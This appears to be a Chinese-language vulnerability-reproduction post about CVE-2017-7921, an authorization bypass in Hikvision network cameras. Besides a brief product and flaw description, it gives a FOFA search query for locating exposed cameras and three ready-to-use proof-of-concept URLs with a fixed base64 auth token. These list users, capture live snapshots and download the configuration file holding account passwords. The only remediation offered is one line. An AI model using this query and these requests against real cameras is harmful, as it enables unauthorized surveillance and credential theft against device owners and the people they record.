【漏洞复现】Hikvision摄像头产品越权漏洞(CVE-2017-7921)

Nx01 产品简介

????????Hikvision（海康威视）是一家在中国颇具影响力的安防公司，其网络摄像头产品在市场上占据了相当大的份额。Hikvision的网络摄像头产品线非常丰富，涵盖了各种型号和功能，以满足不同用户的需求。

Nx02 漏洞描述

????????Hikvision摄像头产品的越权漏洞（CVE-2017-7921）是一种严重的安全问题，该漏洞允许未经授权的用户访问和控制系统。通过特定的路径访问Hikvision摄像头的某些功能，包括检索所有用户及其角色的列表、获取相机快照以及下载摄像头配置账号密码文件等。

Nx03 产品主页

fofa-query:?app="HIKVISION-视频监控"

Nx04 漏洞复现

POC：

/Security/users?auth=YWRtaW46MTEK #检索用户	
/onvif-http/snapshot?auth=YWRtaW46MTEK #获取监控快照
/System/configurationFile?auth=YWRtaW46MTEK	#下载配置文件

Nx05 修复建议

建议联系软件厂商进行处理。